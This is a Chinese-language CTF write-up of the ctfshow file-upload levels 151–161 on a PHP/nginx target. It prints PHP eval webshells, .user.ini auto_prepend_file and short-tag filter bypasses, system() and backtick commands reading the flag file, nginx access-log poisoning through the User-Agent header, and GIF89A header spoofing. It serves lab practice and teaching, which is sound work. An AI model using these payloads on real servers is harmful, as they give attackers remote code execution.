PHP-nginx-ctfShow文件上传漏洞

CTFSHOW-文件上传-151到161关卡

151 152-JS验证+MIME

Content-Type: image/png

153-JS验证+user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini:auto_prepend_file=test.png

test.png:php eval($_POST[x]);?>

154 155-JS验证+user.ini+短标签

echo '123';?> //前提是开启配置参数short_open_tags=on

(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST[x]);?>

156 JS验证+user.ini+短标签+过滤

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST{x});?>

157 158 159 JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:system('tac ../fl*')?>

test.png: echo `tac /var/www/html/f*`?>

160 JS验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:include"/var/lo"."g/nginx/access.lo"."g"?>

161 JS验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A include"/var/lo"."g/nginx/access.lo"."g"?>

151关(修改前端代码即可)

PHP-nginx-ctfShow文件上传漏洞_第1张图片

PHP-nginx-ctfShow文件上传漏洞_第2张图片

PHP-nginx-ctfShow文件上传漏洞_第3张图片

后门代码:

post:x=system('ls');

修改前端代码

PHP-nginx-ctfShow文件上传漏洞_第4张图片

上传包含后门代码的php文件

PHP-nginx-ctfShow文件上传漏洞_第5张图片

PHP-nginx-ctfShow文件上传漏洞_第6张图片

通过POST提交指令x=system('tac ../flag.php');

PHP-nginx-ctfShow文件上传漏洞_第7张图片

152关(修改content-type类型,上传PHP文件)

PHP-nginx-ctfShow文件上传漏洞_第8张图片

通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type

PHP-nginx-ctfShow文件上传漏洞_第9张图片

继续修改前端代码。抓包,修改信息

PHP-nginx-ctfShow文件上传漏洞_第10张图片

PHP-nginx-ctfShow文件上传漏洞_第11张图片

PHP-nginx-ctfShow文件上传漏洞_第12张图片

PHP-nginx-ctfShow文件上传漏洞_第13张图片

153关(.user.ini包含1.png自动执行)

PHP-nginx-ctfShow文件上传漏洞_第14张图片

使用到了.user.ini的文件配置漏洞

.user.ini实际上就是一个可以由用户“自定义”的php.ini

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中

.user.ini : auto_prepend_file=1.png

1.png :

post : x=system('tac ../flag.php');

PHP-nginx-ctfShow文件上传漏洞_第15张图片

PHP-nginx-ctfShow文件上传漏洞_第16张图片

.user.ini 父目录中是自动带有index.php

154关( 换为

当内容检测中,过滤了,可以使用一下方法

echo '123';?> //前提是开启配置参数short_open_tags=on

(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script> //不需要修改参数开关

PHP-nginx-ctfShow文件上传漏洞_第17张图片

这一关过滤的php,所以 换为

PHP-nginx-ctfShow文件上传漏洞_第18张图片

 

 

PHP-nginx-ctfShow文件上传漏洞_第19张图片

PHP-nginx-ctfShow文件上传漏洞_第20张图片

155关

和154关的过关方法是一样的

发现存在过滤

PHP-nginx-ctfShow文件上传漏洞_第21张图片

PHP-nginx-ctfShow文件上传漏洞_第22张图片

PHP-nginx-ctfShow文件上传漏洞_第23张图片

156关(前端修改代码无效,上传后门代码)

过关方法:

  1. png:

  1. 直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag

发现存在内容检测过滤

但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试

PHP-nginx-ctfShow文件上传漏洞_第24张图片

PHP-nginx-ctfShow文件上传漏洞_第25张图片

157关(过滤了php字段,通过*代替了php)

过关方法:

  1. png:

  2. 直接访问/upload/ 显示flag

PHP-nginx-ctfShow文件上传漏洞_第26张图片

自动执行了代码

PHP-nginx-ctfShow文件上传漏洞_第27张图片

158关

和157关的方法是一样的

PHP-nginx-ctfShow文件上传漏洞_第28张图片

PHP-nginx-ctfShow文件上传漏洞_第29张图片

PHP-nginx-ctfShow文件上传漏洞_第30张图片

159关(过滤了PHP执行命令,反括号代替执行命令)

过关方法:1.png:

.user.ini:auto_prepend_file=1.png

直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload

PHP-nginx-ctfShow文件上传漏洞_第31张图片

PHP-nginx-ctfShow文件上传漏洞_第32张图片

PHP-nginx-ctfShow文件上传漏洞_第33张图片

PHP-nginx-ctfShow文件上传漏洞_第34张图片

160关(通过访问日志记录的读取,.user.ini的文件包含执行)

解题方法:

  1. png:

  2. .user.ini : auto_prepend_file=1.png

PHP-nginx-ctfShow文件上传漏洞_第35张图片

PHP-nginx-ctfShow文件上传漏洞_第36张图片

PHP-nginx-ctfShow文件上传漏洞_第37张图片

 

可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚

PHP-nginx-ctfShow文件上传漏洞_第38张图片

PHP-nginx-ctfShow文件上传漏洞_第39张图片

成功拿到flag

PHP-nginx-ctfShow文件上传漏洞_第40张图片

161关(修改内容-文件类型)

PHP-nginx-ctfShow文件上传漏洞_第41张图片

PHP-nginx-ctfShow文件上传漏洞_第42张图片

发现什么内容也无法上传

PHP-nginx-ctfShow文件上传漏洞_第43张图片

PHP-nginx-ctfShow文件上传漏洞_第44张图片

发现限制了文件类型内容,内容加GIF89A

PHP-nginx-ctfShow文件上传漏洞_第45张图片

PHP-nginx-ctfShow文件上传漏洞_第46张图片

PHP-nginx-ctfShow文件上传漏洞_第47张图片

PHP-nginx-ctfShow文件上传漏洞_第48张图片

PHP-nginx-ctfShow文件上传漏洞_第49张图片

PHP-nginx-ctfShow文件上传漏洞_第50张图片

PHP-nginx-ctfShow文件上传漏洞_第51张图片

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

你可能感兴趣的:(基础的渗透测试,php,nginx,安全)